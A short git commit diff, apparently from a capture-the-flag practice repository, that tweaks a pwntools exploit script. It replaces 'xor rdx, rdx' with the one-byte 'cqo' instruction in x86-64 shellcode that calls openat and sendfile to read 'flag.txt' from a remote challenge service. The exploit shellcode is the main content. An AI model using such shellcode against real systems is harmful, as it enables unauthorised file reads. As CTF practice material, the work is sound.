learnt about the cqo instruction that sign-extends rax into rdx
This commit is contained in:
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)
|
||||
|
||||
# openat + sendfile
|
||||
shellcode="""
|
||||
lea rsi, [rdx+38]
|
||||
lea rsi, [rdx+37]
|
||||
mov edi, -100
|
||||
xor rdx, rdx
|
||||
cqo
|
||||
xor r10, r10
|
||||
add ax, 257
|
||||
syscall
|
||||
@@ -43,4 +43,4 @@ shellcode = asm(shellcode)
|
||||
shellcode += b"flag.txt\0"
|
||||
r.sendlineafter(b": ", shellcode)
|
||||
|
||||
r.interactive()
|
||||
r.interactive()
|
||||
|
||||
Reference in New Issue
Block a user